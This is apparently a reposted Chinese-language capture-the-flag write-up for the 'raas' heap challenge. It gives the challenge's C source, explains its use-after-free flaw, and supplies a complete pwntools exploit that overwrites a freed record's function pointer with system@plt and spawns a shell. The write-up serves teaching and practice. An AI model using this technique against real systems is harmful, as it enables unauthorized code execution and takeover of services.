raas的wp

来源:互联网 发布:淘宝代销货图片签协议 编辑:程序博客网 时间:2024/06/05 03:53

https://hackme.inndy.tw/scoreboard/ 题目很有趣,我做了raas这个题目感觉还不错,我把wp分享出来,方便大家学习 raas的题目要求是:

nc hackme.inndy.tw 7719This is a Record-as-a-Service!And also our fist heap-based challenge.Source code is availableTips: use after free

给的源码是:

#include <stdio.h>#include <stdlib.h>#include <unistd.h>struct record {    void (*print)(struct record *);    void (*free)(struct record *);    union {        int integer;        char *string;    };};struct record *records[16];int ask(const char * q){    char buff[32];    printf("%s > ", q);    fgets(buff, sizeof(buff), stdin);    return atoi(buff);}void rec_int_print(struct record *rec){    printf("Record(Type=Integer, Value=%d)\n", rec->integer);}void rec_str_print(struct record *rec){    printf("Record(Type=String, Value=%s)\n", rec->string);}void rec_int_free(struct record *rec){    free(rec);    puts("Record freed!");}void rec_str_free(struct record *rec){    free(rec->string);    free(rec);    puts("Record freed!");}void do_new(){    int idx = ask("Index");    if(idx < 0 || idx > 16) {        puts("Out of index!");        return;    }    if(records[idx]) {        printf("Index #%d is used!\n", idx);        return;    }    struct record *r = records[idx] = (struct record *)malloc(sizeof(struct record));    r->print = rec_int_print;    r->free = rec_int_free;    puts("Blob type:");    puts("1. Integer");    puts("2. Text");    int type = ask("Type");    unsigned int len;    switch(type) {        case 1:            r->integer = ask("Value");            break;        case 2:            len = ask("Length");            if(len > 1024) {                puts("Length too long, please buy record service premium to store longer record!");                return;            }            r->string = malloc(len);            printf("Value > ");            fgets(r->string, len, stdin);            r->print = rec_str_print;            r->free = rec_str_free;            break;        default:            puts("Invalid type!");            return;    }    puts("Okey, we got your data. Here is it:");    r->print(r);}void do_del(){    int idx = ask("Index");    records[idx]->free(records[idx]);}void do_dump(){    int idx = ask("Index");    records[idx]->print(records[idx]);}int main(){    alarm(600);    setvbuf(stdout, NULL, _IONBF, 0);    setvbuf(stdin, NULL, _IONBF, 0);    puts("Welcome to use my Record-as-a-Service (free plan)");    puts("You can only save Integer or String for 600 seconds");    puts("Pay 1,000,000,000,000,000,000,000,000 bitcoins to buy premium plan");    puts("Here is term of service. You must agree to use this service. Please read carefully!");    puts("================================================================================");    system("cat tos.txt | head -n 30 | sed -e 's/^/    /'");    puts("================================================================================");    while(1) {        puts("1. New record");        puts("2. Del record");        puts("3. Show record");        switch(ask("Act")) {            case 1:                do_new();                break;            case 2:                do_del();                break;            case 3:                do_dump();                break;            default:                puts("Bye~ Thanks for using our service!");                return 0;        }    }}

这个题目根据提示来看是一道uaf题目,首先uaf是啥,通过http://www.mamicode.com/info-detail-1095509.html和https://www.cnblogs.com/alert123/p/4918041.html和https://bbs.pediy.com/thread-221537.htm这三篇文章可以了解其中的原理
因为程序源码已经给了,所以我就简单说一下这个程序是干啥的:这个程序可以增删查最多16组记录,其中输入的16组记录可以输入数字或者字符串。由于程序在删除记录的时候没有清空数组内的指针,所以导致了uaf的产生
先运行一下程序看一下这个程序干了啥
image
可以看到这个程序的流程还是很清晰的
再看看程序开启了哪些保护:
image
看到NX enabled,Canary found分别是开启了栈不可执行和金丝雀保护
因为这个程序用数组保存了新开辟空间的内存,但是在释放内存的时候没有把数组中的指针删除,所以导致漏洞的产生,我的思路是是首先创建两个保存数字1234的记录
image

地址 rec_int_print rec_int_free 数字 长度 0x9c45008 0x0804869e 0x080486de 0x004d2 0x011 0x9c45018 0x0804869e 0x080486de 0x004d2 0x020fe1

然后将两个记录依次释放,下图是内存释放后的数据
image
再创建两个字符型的记录,因为Linux的内存机制会重复利用已经释放后的内存以避免内存碎片的产生,所以,再次申请的两个内存的话指针依然是0x9c45008和0x9c45018,此时数组里面存储的指针分别为

序号 地址 1 0x9c45008 2 0x9c45018 3 0x9c45008 4 0x9c45018

此时记录两个字符型的变量分别是bbbbaaaabbb和aaaa
image
这里可以清晰的看到字符串bbbbaaaabbb写入的地址就是数组中第一个地址的所指的位置,此时bbbb覆盖了rec_int_print指针所在的位置,aaaa覆盖了rec_int_free所在的位置,虽然数组1所指的数据已经被释放,但是指针依然可以被访问,此时再调用do_del这个函数再去释放数组1,就可以导致eip被任意控制
此时把aaaa的位置替换成plt@system的地址,把bbbb换成传入system的参数就可以getshell了,此时应该注意的是传入system的参数后面应该用/x00截断,否则会造成执行不成功
所以最后我的exp是:

#!/usr/bin/env python# -*- coding: utf-8 -*-__Auther__ = 'niexinming'from pwn import *context(terminal = ['gnome-terminal', '-x', 'sh', '-c'], arch = 'i386', os = 'linux', log_level = 'debug')def debug(addr = '0x080487A3'):    raw_input('debug:')    gdb.attach(io, "set follow-fork-mode parent\nb *" + addr)elf = ELF('/home/h11p/ctf/raas')system_addr=elf.plt['system']print "%x" % system_addrprintf_addr=elf.plt['printf']print "%x" % printf_addrio = process('/home/h11p/ctf/raas')#io = remote('hackme.inndy.tw', 7719)payload="sh\x00\x00"+p32(system_addr)+"b"*3debug()#io.recvuntil('Where What?')io.recvuntil('Act > ')io.sendline('1')io.recvuntil('Index > ')io.sendline('1')io.recvuntil('Type > ')io.sendline('1')io.recvuntil('Value > ')io.sendline('1234')io.recvuntil('Act > ')io.sendline('1')io.recvuntil('Index > ')io.sendline('2')io.recvuntil('Type > ')io.sendline('1')io.recvuntil('Value > ')io.sendline("1234")io.recvuntil('Act > ')io.sendline('2')io.recvuntil('Index > ')io.sendline('1')io.recvuntil('Act > ')io.sendline('2')io.recvuntil('Index > ')io.sendline('2')io.recvuntil('Act > ')io.sendline('1')io.recvuntil('Index > ')io.sendline('3')io.recvuntil('Type > ')io.sendline('2')io.recvuntil('Length > ')io.sendline('12')io.recvuntil('Value > ')io.send(payload)io.recvuntil('Act > ')io.sendline('1')io.recvuntil('Index > ')io.sendline('4')io.recvuntil('Type > ')io.sendline('2')io.recvuntil('Length > ')io.sendline('7')io.recvuntil('Value > ')io.sendline("a"*4)io.recvuntil('Act > ')io.sendline('2')io.recvuntil('Index > ')io.sendline('1')io.interactive()io.close()

效果是
image

原创粉丝点击